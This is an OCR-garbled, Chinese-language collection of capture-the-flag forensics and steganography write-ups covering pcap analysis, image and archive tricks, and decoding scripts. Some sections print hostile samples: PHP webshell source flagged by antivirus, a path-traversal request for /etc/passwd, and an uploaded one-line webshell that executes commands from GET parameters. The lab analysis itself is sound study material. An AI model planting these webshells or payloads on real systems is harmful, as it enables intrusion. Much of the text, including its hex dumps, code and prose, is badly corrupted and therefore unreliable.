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2.easycap

1B ERTCPL:

M Wireshark - B8 TCP 3 (tcp.stream eq 0) - easycap.pcap
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binwalkflsteg— LT3k, BH ZEWME TEBAWIK, winhexBE:
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nooozas=0 Ba
0o000z5a0 | DS F4 AF
0oo0o0zZ3e0 | 2A 47 12
0ooozsco |20 77 76
oooozsb0 | A0 98 DY
0o0o0zZsed |[F9 D3 7C
0o0o0zZ3r0 | BD AF 64
oooozZeon | 5C EE AE
0o00Ze10 |40 21 46
0o00ZeZ0 |48 F8 0A
0ooozZe30 |31 30 31
oooozZe40 |31 30 31
oooozZes0 |30 30 30
nooozZesd |31 2E 00
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BT AT ERERB T HRMERL R, KB TH£UHKOne piece, (HETREHRS G8ITFFOne Piece K1, #HRLHF
FETHKE RS, EHKRERER CESIPR, TIFOne Pieceik( 15 ?

ooo170s80 | C3 5A AY B3 3D EC BF 09 24 F2 25 47 A3 BC BS Al | AZ§%=1i/ =4 (Gflpi
ooo170%0 | 1E g6 87 EF De BA Z2 CF D2 9C 46 2B CA 9E Z2 47 Hige cOIF+E1a
00017020 D& 51 CB E9 53 DF 53 FF D9 2A 2A 2 2A 24 2A 23  OQESSRSYsxxxxxs
000170B0 | 2& 24 23 2A 23 28 ZA 23 24 24 Z2A 23 ZA 2B 2R ZA eexExxxrexsxExxx
000170C0 | 2& 28 Z2A 2A 2B 28 ZA 2h ZA ZA ZA ZA ZA 2B A VA EEEXRXXRXXXXREEER
000170D0 | 2& 24 23 2A 23 28 ZA 23 Z2A ZA ZA ZA ZA 2B 2R ZA eexExxxraxsxExxx
000170EQ | 2A 24 2A 2A 2B 28 ZA 24 22 24 0D DA BB 6C Bl A7  *xxxxxxxxx f{lag
000170F0 | 3A& 62 b1 73 65 36 34 3& 28 4D YA B3 33 39 32 44 :hasebd: (Mzc3IY2J
00017100 B8 5A 47 52 68 4D 57 56 BA 59 54 44 6D 4D 6D 59  hZGEhMWV jYT.JmMmY
00017110 33 4D 32 51 7& 4E bA& 49 33 4E YA 63 34 4D 57 59  3IMz20zNjI35Nzc4Mwy
00017120 77 40 47 45 3D 29 0D D& 23 2A 2A 2 2A 24 2h 23 wMOER) sexsxxxs
00017130 | 2& 24 23 2A 23 28 ZA 28 24 Z2A Z2A ZA ZA 2B 2R ZA eexExxxraxsxexxx

00017140 22 23 2A 23 25 ZA 2R 2R 2B ZA ZA 2R 2R 2A ZA A mEreassssazsessr
NANA71EN | 22 7A 2R 2R 23 74 2B 22 7A 2R 7B 7B 7R 7R TR 7B REEEEEEEXEXEERER

winhex{TH, ##%&flag, base64fRILHEIA



stegiBfir Z AIE BRI B —Pzup E4E .-

£ - O ;
Extract Preview
504p030414000000 0800dd855d49fd%]1 PE...... 11..
e24cdB90800003d21 Q0000100000031ed .L....=! ...... 1.
595%cclb5l1l4beld kb5336aafbdbl0589 YY..Q... .3j.....
aaTdlbSafcdcaife dac2lfdSef4fendz2 }.2.L.. .b...QC.B
3bb56fb145637df0 8044e2cl0389074f ;.o.Ec}. .D..... o
be48acdlcd4c34f42 244844ecSbeclldl H.A..O0B SHD.[..A
89dT7beT4cefeTelz2T 112fdcefce3TeTbb . {.Log." ./...7..
eT79cTheedab®33€b cad223048783=848 {...3k .B#....I
208300995fcd4e3f93 fdcBlfaccfllbiTe R . b
a4265c5bo316adla c855753d867=03T7e &\ [. Oa=, L~
Bit Planes Order settings
Alpha []7 []6 []5 [J4 [JI3 [J2 [J1 [Jo Extract By ® Row () Column
Red []7 []6 []5 [J4 [13 [J2 []1 [0 Bit Order () MSBFirst @ LSB First
Green []7 []6 []5 []4 [13 [J2 []1 [¥o0
Bit Plane Order
Bue []7 []6 []5 [J4 [13 [J2 []1 [0 @ RGB () GRB
) RBG ) BRG
Preview Settings
g (JGBR () BGR
Include Hex Dump In Preview
ok e 1 i_ T &
| Preview ‘ ‘ Save Text ‘ ‘ Save Bin [ Cancel
RIF PR ERIEBE —TH/E—AEFL
FIIDAITH, EfLEImaint %
_do_global _dtors_aux _text:0000080000400540 pop rbp
frame_dummy .text : BOBAAOAOEDHBASH retn
TS . _text:P000060060400541 main endp
_libe _csu_init _text:0000000000400541 |
"libe_csu_fini Ttexts W
[7] term proc _text:0000000000400542 align 10h
[£] printf@@GLIBC 2 2 5 _text:0000000000400550
_libc_start main@@GLIBC 2 2 5 Ttext: 50 ; SUBROUTINE
7] printf . _text:0000000000400550
_libe_start main .text:00800080046655 0
.text: 60000000604 00550 public _ libc_csu_init
.text:0000000060408550 _ libc_csu_init proc near : DATA XREF: _start+16fo
_text:0000000000400550 push  ri5
_text : B0OOODOODOSBOS52 nou ri5d, edi
_text:0000000000400555 push  ri4
_text:0000000000400557 nou ri4, rsi
_text : B0OOODOODOSBOSSA push  ri3
-text:000006006040055C nov r13, rdx
_text:000000000040055F push  r12
.text:6000000060400561 lea ¥12, _ frame_dummy_init_array_entry
-text:0000066060400568 push rbp
-text:0000000000400569 lea rbp, __do_global_dtors_aux_fini_array_entry
-text:000006606040857 0 push rbx
_text:0000000000400571 sub rbp, 12
_text:0000000000400574 xor ebx, ebx
-text:6000060060400576 sar vrbp, 3
< > _text:000000000040057A sub rsp, 8

F5— A5 2 Py A

int _ cdecl main{int argc, const char =xarge, const char =*enup)

{
return printf{"hctf{dd8gfiyc3tok3ybBardyghin™~™}", argu, enuvp);

= L B -k
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Z3flag.
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Advanced Archive Password Recovery $hiHZE:
S0 5,465
St 155 324ms
EEE (DS A0 356
EEMNOS 5463 {
byl (W 35 34 36 33 {
S R v e
Lz

ARG SCHE B N A 2 brainfuck RS . HEttE iy 4 8 .bEC {4 5 ARS8 )

EN Windows PowerShell

ainfuck. py a.bf




@ S 1 AR

] ST
/] XLES T SRR,

O =E30H(1)

~/ PhpTrojan.Php.Amco |Z5= RS

£ Biflag.

20

Z1 if( I5_GPC ) {

22 §_POST = s_array ($_POST):

23 }

24 §F = §_POST;

25 unset ($_POST) ;

26 jA===================== $EPPPPPF === */

27

25 //echo encode pass('angel"’) rexit;

e /F PPEERCPPRFRE, POPLT $PPF, $PETSERECHS

30 Spass " 6ac45fbE3b3bc355c024£5034b947dd3 " ; - /ENta=nl

31

22 S /PRRRRE Cooklic PPP-PHPPRPRPLRE, FPiusieris, FRPLPPPPPRRd, FPeee Hlgples
33 /4 cookie O ! -
24 Scookiepre = "';

35 // coockle #696eE

36 Scookiedomain = "';

37 /7 cooklis ##6€-66

38 Scookiepath = '/';

39 /7 cookis #PUEE

9.[BJDCTF2020]% & K 3%



i FwinhexdT TRk gif, Bl 4 B k> gif SOk

A2
47 49 46 38 37 el or GIESTa
47 49 46 38 39 61 GIF89%a

GIF Graphics interchange format file
Trailer: 00 3B (.;)

zhi—yin—you—are—beautitul

10.7 2= 98 7 B4 itk 5%



P4 Eflag{istiT

£ RouterPassView - Ch\Users\root\Desktop'conf.bin
File Edit View Options Help

= & a4

{WANEthernetInterfaceConfig>
<Enable wval=1 />
{3tatus wval=Up />
{X_TP_IfHame wval=eth1 />
<X_TP_lastUsedIntf val=pppoe_eth3_d />
</UANEthernetInterfaceConfig>
<WANConnectionDevice instance=1 >
<WANIPConnectionHumberOfEntries val=1 />
{WANEthernetLinkConfig>
<Enable wval=1 />
{EthernetLinkStatus val=Up />
{X_TP_IfHame wval=eth1 />
</UANEthernetLinkConfig>
<WANIPConnection instance=1 >
{ConnectionType wal=IP_ Routed />
<Mame val=ipoe _eth1 s />
<MATEnabled val=1 />
<ExternallPAddress val=0.8.8.8 />
<SubnetMask val=06.8.08.8 />
<DefaultGateway val=08.8.8.8 />
<X_TP_IfHame val=eth1 />
</UANIPConnection>
<WANIPConnection instance=2 >
<ConnectionType val=IP Routed />
<Mame val=ipoe _eth1 d />
<%_TP_ConnectionId val=@8 />
<MATEnabled val=1 />
<X_TP_Hostname wval=,FUR318 />
<AddressingType val=DHCP />
<ExternallPAddress val=0.8.8.8 />
<SubnetMask val=06.8.08.8 />
<DefaultGateway val=08.8.8.8 />
<DNSServers val=0.0.0.0,0.08.08.08 />
<MACAddress val=DB:C7:CO:43:53:69 />
<X_TP_IfHame val=eth1 />
</UANIPConnection>
<WANIPConnection nextInstance=3 />
<WANFPPConnection instance=1 >
<Enable val=1 />
<DefaultGateway val=18.177.144.1 />
<Hame val=pppoe_ethi_d />
<Uptime val=671521 />
{THTTELE val-0537008357621 />
<Password val=218265 />
<X_TP_IfHame val=ppp8 />
<X_TP_L2IfHame wvwal=eth1 />
<%_TP_ConnectionId val=1 />
<ExternallPAddress val=18.177.1508.82 />
<RemoteIPAddress val=18.177.144.% />



) £31 MRk

| KL T LM
O &)
~/| Php.Trojan.Php.Hgqvo [Zi=] il E L
ob_start();
Smtime = explode (' ', microtime());

Sstarttime = Smtime[l1] + Smtime[0]:

define ('SE ROOT', str_replace('‘\\', '/', dirname(_ FILE_)).'/');

define ('SELF", $_SERVER[ ! PHP_SELE" ] 2 $_SERVER[ ! PHP_SELF' 1 : $_SERVER[ 'SCRI PT_NAI‘-‘.'[E 1) -
define ('IS WIN', DIRECTORY SEPARATOR == '\\');

define('I5 GPC', get magic quotes gpcl()):

$dis func = get_efg var('disable functions'):;

define ('IS PHPINFO', (!eregi("phpinfo",$dis func)) 2 1 : 0 );

Hif( IS GPC ) {
$ POST = s_array($_ POST);
-}

SP = $ POST;
unset ($_EB@S5T) ;
/* EFEE o

//echolencode pass('angel') ;exit;
//angel =
// INHAFEELIE, FENEEER, 8 PAFERIE
Spass 'baBetc6f35a53933b871480bb%a S5c'; //angel

//INEERT cookie
// cookie BUEE

, BRREFEALE, FERTEEE, ENHERFEIFA

Scookiepre = '';
// cookie {EFEiH
Scookiedomain = "';

// cookie {EFAEEE
Scookiepath = '/';
// cookie TG ILEH

Scocokielife = 86400;

12,5k & 3K e
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<

SRR

5BC925649CB0188F52E617D70929191C

13 HEEFHEER

Ml Wireshark - {885 HTTP 3% (tcp.stream =q 7) - FREA40EE peapng - O X

ReEF

GET /fenxi.php HTTP/1.1 @
Host: 172.16.808.128 =
Connection: keep-alive

dm @

(W tep. strean ea 7

Capture Length: 444 bytes (3552 bi
[Frame is marked: False]

[Frame is ignored: False]
[Protocols in frame: eth:ethertype
[Coloring Rule Name: HTTP]
[Coloring Rule String: http || tcp

20 89
01 ae

<

84 32
9c 6f
e 5@
35 ed
4c 58
7a 37
66 42
53 35
58 4d
37 31
79 65
63 54
67 33
56 65

73
40
o7
08
%
6a
6d
4e
38
34
4e
6a
&F
53

<5
e
5b
e
38
37
67
(3
76
33
2f
7a
69
2b

da
a6
a6
2f
57
39

AWEBAQEBAQEBAQAAAAAAAAECAWQF BEcTCQoL /B0ATREAAZECBAQDBACFBAQAAQ)3AAECAXEEBSE X
BhIBUQAhcRMiMoEIFEKROBHBCSMzUvAVYnLRChYKNOE18RCYGRomlygpKjU2Nzg50KNERUZHSE1K
U1RW1dYWVp3ZGVnZ 2hpanh@dXZ3eH16g00ERYaHi ImKkpOU1ZaXmImaogOkpaangKmgsr0@tba3
uLm6usPExCbHyMnKetPU1dbX2NnaduPk5ebn60nq8yPBIFb3+Pn6 /IoADAMBAATRAXEAPWDI/ KKK
KAC1 11 gA0000AKKKKAC 11 gA0000AKKKKAC1 11gA0000AKKKKAC 11gA0000AKKKKAC1 11gAo000
AKKKKAC1 11gA0000AKKKKAC1 11gA0000AKKKKAC 11gA0000AKKKKAC1 11gA0000AKKKKAC1 1 igA
0000AKKKKAC 111 gA0000AKKKKAC 111 gA0oooAKKKKAC 11gA000oAKKKKAC 1 1gA0o0oAKKKKACE
118A0000AKKKKACH 1 1gA0000AKKKKAC 11gA0000AKKKKAC 11gA0000AKKKKACH 11gA0000AKKK
[KAC1 11gA0000AKKKKAC 1 11gA0000AKKKKAC 11gA0000AKKKKAC 11gA0000AKKKKACL 1 1ghoooo
AKKKKAC111gAoo0oAKKKKAC1 11gAo00oAKKKKAC11igAoo0oAKKKKAC11igAooooAKKKKAC1iigh
0000AKKKKAC 111 gA0000AKKKKAC 111 gA0oooAKKKKAC 11gA000oAKKKKAC 1 1gA0o0oAKKKKACE
118A0000AKKKKAC 1gA0000AKKKKAC 11gA0000AKKKKAC 11gA0000AKKKKAC 11gA0000AKKK
KAC111gA0000AKKKKACL 11gDjFiX+BVBPvgvr2]6VAx8deDfCeqeIRM21Hes61bIF xqYhUNMYELd
H18SC2wHaCCcVBnhraipv Tw7Yaxo+oWOraTqlvHd2V7ZzrPb3kMihk1 jkKUIXR1ITZSQQQQa/N/

1aR8Rr /APAKTF tYXE/imuPLoG1/A2xDH8I3H2 /+2Zv7eak21uv7Q2xy rMrPIMYXSVdi 16 Ipvbl
en9tFXF2ef2Bv2FuDvgFx1410/x03ui0zXk8P3XgDX/HaqahDHYQok 2e i SxzHFn5SgCGINEsZZyo
TKHANCpH2Ug1TS 3K /111U+97K1597tJ0yvc6b9vGIDHIOFNKK16 JupbXaybauByvBaorar+Gn/BQ
D4k FqeKPhl4d+Etr41883viHAYERBUFEDG+LNNuVEMONWanS iH2nkL rb3Nksm+KVnnedVRUUC]
2 TTHSX8Y /wBqDx3+1 t+wv4 /BEePNNBK2FirlF ZbfCFy tDEBWR31jDgmnm5S6ubt tka3FqbgL bKy
ee8sdvikksql)sbe/a+xt712vugKkOVFRTdNS JtXWp1GpH1U3 S 7X8rudRX/7<T1+DsIDIKKK+HF+
Crviik+BGj /By 7uPF HurBLAh FEHxNYnwp8PNDNm1 5qu29rcxwQaMITI TV C 1alia281YUgM7 sDGGHB
/DfInaDIor9s7S /hF+8IDpFxctfg38FFDC76F4i tUIPTdULy+mu7e+1do51KzXAFgsaTsgdFnmxt

o Tine Sowrse Accept: text/html,application/xhtmlexml,application/xml;q=8.9,image/webp,*/*;q=6.8
132 16.890615 172.16.66.100 Upgrade-Insecure-Requests: 1
133 16.690889 172.16.80.120 User-Agent: Mozilla/5.8 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.8.2403.138 Safari/537.36
134 16.892892 172.16.80.120 Accept-Encoding: gzip, deflate, sdch
135 16.690393 172.16.80.120 Accept-Language: zh-CH,zh;q=0.8
136 10.890964 172.16.66.100
137 10.001239  172.16.80.120 | |ATIP/1.1 208 OX e
138 16.@91001 72 16 80 120 ate: Tue, 18 Aug 2015 @9:@9:39 GMT
Server: Apache
139 10.891241 172.16.80.120 X-Powered-By: PHP/S.3.3
140 10.891314 172.16.66.190 Connection: close
141 10.891578 172.16.80.120 Transfer-Encoding: chunked
- 142 10.891579 172.16.80.120 Content-Type: text/html; charset=UTF-8§

143 16.891633 172.16.66.100

. 193 /4ABQSKkZ IRgABAQEAYABEAAD / 2BDAATBAQTBAQICAE TCAS T CAWUDAWMDANY EBAMFBuYHBwcG
B G e W5, T (s 1CAgK CACHC gBKC g sMDAMBuKODWEMDE MDAz / 2wBDAQTC AGMDAWYDAWYMC Ac TDAWMDAuM
[N L L e Tt N 14D A0 A D A D A D AuMD A DAWMD A D AiMDAWMDAWMDAZ f iAARCAHg AKQDAS TA
[RE LR DIELIR L WIS TR s B EWE A F BAXE B /80AHWAAAQUBAQEBAQEAAAAAAAMMAAE CAWQF BgcTCQol /8QAtRAAGEDAWT EAWUFBAQA
[RE LIS LT T T £ D Il 90 TDAAQRBRThMUEGE 1F hBy JxFDKBkaE TT8KxwRVSBFAKM2yggkKFhcYGRo111 coKSoBNTY3
Frame Number: 142 ODK6QBRFRKAISUBTVFVWV1hZWmNkZWZnaG1qc 3R 1dndAeXqDhIHGhA1 11 pKT1IWH151 ZmqK j pKiim
Y Ty P TRl | .0 k2 tLW2 7150 LDxMXGx8 ] Dy tLT INXW19§Z2uHi4+T1 SufoberxBvPR9Fh3+Pn6/BQAHWEA

SRAREHE AR Curl+G,

Bl & B F Kbase644miy, fES—T:

import os, base64

with open("C:\\Users\\root\\Desktop\\1.txt", "r") as f:
imgdata = base64.b64decode(f.read())
file = open('C:\\Users\\root\\Desktop\\1.jpg',
file.write(imgdata)

'wb")

file.close()

i



SRR

flag{209acebf6324a09671abc31c869de72¢}

14. /L&

binwalk+foremost4y B 158 3 :

EFTEEMEX
.'/, ) \\
2 ! /g.
-
1.zip 123456¢ry.jpg

B EREL, 015UK00 (FHBARMED MREFE:

EEY
good-B&#. qwe.zip

irg

binwalk 7 & A -



DECIMAL HEXADECIMAL DESCRIPTION

2=0 JPEG image data, JFIF standard 1.01

TR
ETWP, _Esteg:

'TOoCesslng triggers

-~

infb l.jpg

Byte
rijndael-128, cbc

sed: yes
~

\waicenglo

15351 bV 1g6t5wZD Jif\J7
R ES 2lflag.

15.10 A T Hiflag

binwalk -e mianju.jpg

’Q | k., -|:| ,_| I:l _mianju.jpg.extracted 10:19 T4 O A O & C
_mianju.jpg.extracted

3F(F) fm%B(E) ME(V) ¥¥EG) EENH)

€ * A fhorme/tom /B k5 /_mianju.jpg.extracted/

fiim EL

= iE 3

B tom

B =0

P Ty
3H
BE
EA

T4ADFE.zip flag.vmdk




a&

B xezs
M

O nxzmes

BE(Alt + A)

230431 MiB (3,299,647 = 73), eTAEZE: 17.1 aiw

JE 45 B Dy in# bR S AL 2 )5 R B 2 flag.vmdk
AR vmdkSCH, BN IR (RGN B T VMware) , TIFEE]:

> thEBiE > FONE (Z3)

BFR ERHEA E2id F
key part_one 2016/10/2 16:39 iR
key part two 2016/10/2 16:47 gk

L vmdk -0,/

6 Igor Pavlov

Extracting archive: flag.vmdk

mment =
rsion=

# The Disk Data
#DDB

LR, AT LAfEkali T A7z % -

'shuaicenglc

MER—FR. (FE, E8ERAS—H, FLliERBkali T7zir &Mk
part2:
Oops,flag_part_two_isn't_here!



Ook
Ook
Ook
Ook!
Ook
Ook
Ook
Ook
Ook
Ook!
Ook!
Ook
Ook
Ook?
Ook
Ook
Ook
Ook
Ook!
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part1 A &5 1 —& B AE £&brainfuck. &S :

B ST MV S DU D IS

hon-Brainfuck-master\Pvthon-Brainfuck-mas

vthon-Brainfuck-master\Python-Brainfuck-maste

part2 R AL R, % T WP B OoK
FELARE X Ook

_ib_furny!}
/,Z
Trvt tn Niald || Tavt tn chart Oaled | | Oialed $a Tt |
AR £ flag.
16.4% 5h 1 ¥t A AL 0
WMESTAITE.
LIIIII ICL:IUCJL J.jJ.J
[Response in frame: 6]
File Data: 129 bytes
v HTML Form URL Encoded: application/x-wwni-form-urlencoded
Form item: "name" = "admina"
Form item: "word"” = "adminb"
Form item: "cooktime" = "@"
Form item: "checkcode" = "5129"
Form item: "returnurl” = "http://192.168.60.123/index.php?r=default/index/index"

adminaadminbffimd55t Zflag.
17. KRmESH (—)

RXAEIRAE LR .


https://www.splitbrain.org/services/ook

KEREMARF RN T W, UWTR—BREARIMRRENRES, BRENLEipRSD?

THRTREREFERNRER, ERANEB, RIINRFHKI20160809_164452F i:

EFR FERIEER =il Fuh

@ FAEFEED eth0 NS_20160809_164452.pcap 2021/6/27 11:24 Wireshark captu... 488,282 KB
I% $HEFED eth0 NS_20160809_170106.pcap 2021/6/27 11:24 Wireshark captu.. 488,283 KB
@ FHEFEED ethD NS 20160809 170427.pcap 2021/6/27 11:24 Wireshark captu.. 488,283 KB
I% $HEFED eth0 NS_20160809_171230.pcap 2021/6/27 11:24 Wireshark captu.. 488,283 KB
@ FHAEFEED eth0 NS_20160809_172831.pcap 2021/6/27 11:26 Wireshark captu.. 488,282 KB
[ #HESEEH oth0_ NS_20160809_164535.pcap 2021/6/27 11:26 Wireshark captu.. 488,283 KB
@ FHAEFEEH eth0 NS_20160809_170103.pcap 2021/6/27 11:26 Wireshark captu.. 488,283 KB
[ #HESEEH oth0 NS_20160809_170424.pcap 2021/6/27 11:26 Wireshark captu.. 488,283 KB
@ FHEFEEH eth0 NS_20160809_170930.pcap 2021/6/27 11:26 Wireshark captu.. 488,283 KB
I% #HEEEH eth0 NS_20160809_172819.pcap 2021/6/27 11:26 Wireshark captu.. 488283 KB

HRAFE MRS AH2000HTTP R

» Transmission Control Protocol, Src Port: 28568, Dst Port: 808, Seq: 298, Ack: 9833, Len: 348
W
»
User-Agent: Mozilla/5.8 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.8.2228.8 Safari/537.21\r\n
Accept-Language: /\../\../\.. /NN G/NGG /L L Jete/passwdiorin
Referer? " TCC. r\n
Host: oa.t3sec.cc:8882\r\n
Connection: Keep-alivel\rin
Accept-Encoding: gzip,deflate’\r\n
2818 @1 88 51 c5 40 80 2a c3 c5 b7 81 98 8c ac 10 . Q-@-*I --------
0820 3d ¢7 50 50 209 50 eB 8e 16 cl de de df 69 B0 18 =-PP-P-- --NN-1i--
BE30 18 8@ 71 Vb 20 2@ 91 91 88 8a Be 9c 83 d8 51 7b EEY L I Qf
BE48 9 93 47 45 54 20 2f 74 65 6d 70 6c 61 74 65 2f --GET /t emplate/
BEs58 64 65 66 61 75 6c 74 2f 69 6d 61 67 65 73 2f 20 default/ images/

RO T, Accept-Language &2 — MEUR S REU#RE, X ERIMBN TR BERERER, FEAHEEERDIKX
.
EIPE# 415 3flag{183.129.152.140}

18. KM ESHT (2D

flag{xsser@live,[,#%.]cn}

BEMAAB RS T B, TR —BRAEBEIRNRREKRER, FRBZMEH THAERELS R TRIE T B2
1X R 5] R A o

i HE—TFSMTPHIHML, FRX%:

49498 69.247468 172.16.60.260 65.54.190.16 SMTP. 201 S: 250-mail.t3sec.cc Hello BAYP@A-OMCLSS.hotmail.com, pleased to meet you | ETRN | AUTH=LOGIN | AUTH LOGIN CRAM-MDS | S8BITMIME | !
49984 69.569108 65.54.190.16 172.16.68.2008 SMTP 81 €T HATL FROM: <xsser@iive.cn>

51101 78.197453 172.16.68.200 65.54.190.16 SMTP. 86 5: 258 <xsser@ilive.cn>, Sender ok

51566 76.536698 65.54.198.16 172.16.68. 200 SMTP. 77 C: RCPT TO:<it@t3sec.cc>

51508 76.551436 172.16.60.200 65.54.190.16 SMTP. 87 5: 258 <it@t3sec.cc>, Recipient ok

EF) T HEFE xsser@live.cn

19. K ESHT (=)



RRENARF R T W, UTR—BREANRIERRENRERS, RBEHEKE TSR~ A7
172819 X M L d8http Ph X, R/EER — T X8@i7: <?php

HEF) RBE MENV BERG) BRC) oA &S BEY) ZEwW IEM  EEH)
Am 2@ TREB QRe=F a5 EaQaH

([ [hete
SEPE | FE v ORBAIS  FHE v (o
He. Time Source Destination Protocel Length Info
2787.. 307.261650 172.16.61.2080 172.16.101.22 HTTP 947 HTTP/1.1 200 OK (GIF89a)
2787.. 307.262729 172.16.101.22 172.16.61.200 HTTP 433 GET /images/index_bg04.png HTTP/1.1
2787.. 307.266306 172.16.101.22 172.16.61.2080 HTTP 433 GET /images/index_bg@3.png HTTP/1.1
2787.. 387.266317 172.16.181.22 172.16.61.280 HTTP 433 GET /images/index_bg@8.png HTTP/1.1
2787.. 387.268372 183.129.152.148 172.16.61.199 HTTP 333 OPTIONS /template/jsPlumb/src/defaults.js HTTP/1.1
2787.. 387.268990 172.16.61.199 183.129.152.148 HTTP 312 HTTP/1.1 288 OK
2787.. 307.270841 172.16.61.20@ 172.16.101.22 HTTP 241 HTTP/1.1 200 OK (PNG)
2787.. 307.278707 172.16.61.2080 172.16.101.22 HTTP 425 HTTP/1.1 288 0K (PNG)
2787.. 307.278928 172.16.61.200 172.16.101.22 HTTP 434 HTTP/1.1 288 OK (PNG)
2787.. 307.279138 172.16.101.22 172.16.61.200 HTTP 433 GET /images/index_bg@5.png HTTP/1.1
2788.. 307.282598 183.129.152.148 172.16.61.199 HTTP 917 POST /data/uploadfile/1/20160889/201608090892842.php HTTP/1.1 (application/x-www-form-urlencod

[HTTP request 1/1]
File Data: 16@ bytes
v HTML Form URL Encoded: application/x-www-form-urlencoded
> Form item: " "editfile”
> Form item: "cwd" = "/var/www/html/"
g =adit”
Form item: "p2" = "admin.
Form item: "p3" = "<?php
$_GET["a"]($_GET["b"]);
2"

act”

TEbk"

8250 6d 45 78 5a 44 45 78 5a 6a 63 32 4f 44 51 33 de  mExZDExZ jc20DQ3M

2268
a27e
2288
@290 nection:
@220 ive--Con
@2b0 e: appli

B2c8 63 Bl 74 69 Bf be 2f 78 2d 77 77 77 2d 66 Bf 72  cation/x -www-for
82¢0 bd 2d 75 72 Bc 65 Be 63 bf 64 65 64 @d @a 43 6f m-urlenc oded--Co
02e0 6e 74 65 be 74 2d 4c 65 be 67 74 68 3a 20 31 36 ntent-lLe ngth: 16
@d ©a 61 63 74 3d 65 64 89 74 BB 69 bc  @----act =editfil
77 64 3d 25 32 46 76 61 72 25 32 46 77  efcwd=%2 Fvar%2Fw
32 46 68 74 6d 6c 25 32 46 26 78 31 3d  wi¥2Fhtm 1%2F&pl=
74 26 78 32 3d 61 64 6d 69 6e 2e 62 61 edit@p2= admin.ba

XHBRER T, hERE.

TR LU 11304 2201608092842 php, {HIRAE T KILAXS
F R RR XA B H M admin.bak.php

H3. flag{fadmin.bak.php}

20.[ACTF#7 4 3£ 2020]base64fa 5

base64f25 . _Epython2Hi7s:



def get_base64 diff_value(sl, s2):
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789+/"
res = 0
for i in xrange(len(s2)):
if s1[i] != s2[i]:
return abs(base64chars.index(s1l[i]) - base64chars.index(s2[i]))
return res

def solve_stego():
with open('E:/1.txt', 'rb") as f:

file_lines = f.readlines()

bin_str = "'

for line in file_lines:
steg _line = line.replace('\n', "")
norm_line = line.replace('\n', '').decode('base64').encode('base64").replace('\n', ')
diff = get_base64_diff_value(steg line, norm_line)

print diff
pads_num = steg line.count('=")
if diff:
bin_str += bin(diff)[2:].zfill(pads_num * 2)
else:

bin_str += '0" * pads_num * 2
print goflag(bin_str)

def goflag(bin_str):
res_str = "'
for i in xrange(@, len(bin_str), 8):
res_str += chr(int(bin_str[i:i + 8], 2))
return res_str

if __name__ == '_ _main__ "':

solve_stego()

21.robomunication
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HELLOWHAT | STHEKEY I T I SEOOPBEEP

flag{BOOPBEEP}

22.[SWPU2019]## &7 i) — 455

stegBEFE LR,
binwalk4#7H RAR.
foremostiZEL 2, binwalk -e 3T

T16A.rar T104.rar 17012.rar 18394, rar

T16AZTHE.

7T104f#D 2 J5 R 7T16AK BHE K E4H QK &5, HEENE.
1701213 8] — K Bbase64.

RTJLIR—HERbasebd. BHATEHFRBEE:

import base64

m = "VmOwd2QyUX1VWGXxWVOd4V1YwZDRWMV13WkRSVO1WbDNXal1ITVjAxV2IET1hhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJ1R115U2tWVIWIHaG9
UV1Z3V1ZadGNFSmxSbGw1VTIOV1ZXSkhhRz1VVmxaM1ZsWmFjVkZOUmxSTmIFcEpWbTEWYTFKkSFNrZGpSVGxhVmpOU1IxcFZXbUZrUjA1R1UyMTR
VMkpIZHpGV1ZFb3dWakZhVeZOcmFHaFN1bXhXVmiwT1QwMHhjR1pYY1VaclVqQTFSMWRYV25kVO1ERKZVbFIHVjFaRmIzZFdhalpoVjBaT2NtRkh
hRk5sY1hoWFZtMXdUMVF3TUhoalJscF1ZbFZhY1ZadGRHRk5SbFowW1VaT1ZXS1ZXVEpWYkZKSFZgRmFSbUl6WkZkaGExcG9WakJIhVDIOdFJraGh
SazVzWWxob1dGWnRNWGRVTVZGM1RVaGOhbEpzYOZsWmIGWMhZMnhXY1ZGVVIsTk5XRUpIVmpKNFQxW1lhTa2RqUmxwWF1saFNNMVpxU2teOV1ZrcFp
XalprYUdFeGNGbFhhMVpoVkRKTmVGCE1UbWhTTW50VVdWUkORMWRzV1hoWGIYUkOVakZHT1ZaWESVOWhiRXAwV1d4c1dtSkdXbWhaTW5oWF16R1d
jbHBHWkdsU23rSmFWMnhXWVZReFdsaFRiRnBZVmtWd1YxbHIXa3RUUmxweFUydGFiR1pzV2xwWGExcHIZVWRGZUdOR2JGaGhNVNBvVmtSS1QyTX1
UalphUjJoVFRXNWOWV1pHWTNoaU1lrbDRWMWhvIWVZKRINtR1diWGh6VFRGU1ZtRkhPV2hpU1hCN1dUQmFjMWROU2tkWGIXaGFUVzVvVOZreFdrZFd
Wa3B6VkdzMVYySkdhM2hXYTFwaFZUR1Z1RmR1U2s1WFJIYQnhWVzB4YjFZeFVsaE9WazVPVFZad2VGVX1kREIXTVZweVkwWndXROVAYOROV2F rivkx
WakpPU1dKR1pGZFNWWEJ2Vm1OUIMXUX1IUWGXVYTFwb1VqTKNWRmXxZYOZKWFZscF1ZMFU1YVUxcmJEUL1dNV2h2V1ZaS1IxTnNaR1ZXYkZwN1ZHeGF
ZVmRGT1ZaUFZtaFRUVWhDU2xac1pEUmpNV1IwVTI0aldHS1hhROZVVnpWd1lYwiWnI1RmRYWkZkV2EzQjZWa2R6TVZZdO1WWmllalpYWWxoQ1MxUld
aRVpsUm1SW1drVTFWMVpzYOZWWFYzUNnJWVEZzVjFWc1ldsaGlWVnBQVkZaYWQyVkdWWGXrUkVKWFRWWNd1Vmt3V25kWFIwVjRZMFIPV21FeVVrZGF

LIMALTLITTwCA T Al kI Db TUTLACA Z4MTPAMIIA AT h aldF ALIAaF T Z7hVh ks s 2 Tl IALIAC WD AT T AL C LA I AU T ARMUZT LR IV I S La PV AL L Taa F =0TV



WIMIZITAW T LXDLLXCCIHIARIMI I vianeoOLLuri DVI'IUJ.H-VJ.lIUWruﬂdrJ.LUI\IIIIVIIIKDLJ.IJHUWIJ.)UHDH-V 1 J.WI\IWJFL)I\IIVUU)\IIVLUI\II'IVLWVI\IIJ UUIJFVW)\K INMrSwiv
Wa2QOYTFOR1ZuT1lhiR1pYVFRGSO5sWkh1ROZXTWXKSVZXdGOhMU15YUhCVmIHaENaREZhYzFwRVVtcESWMU13V1RKMGEXZEhTbGhoUjBaV1ZucFd
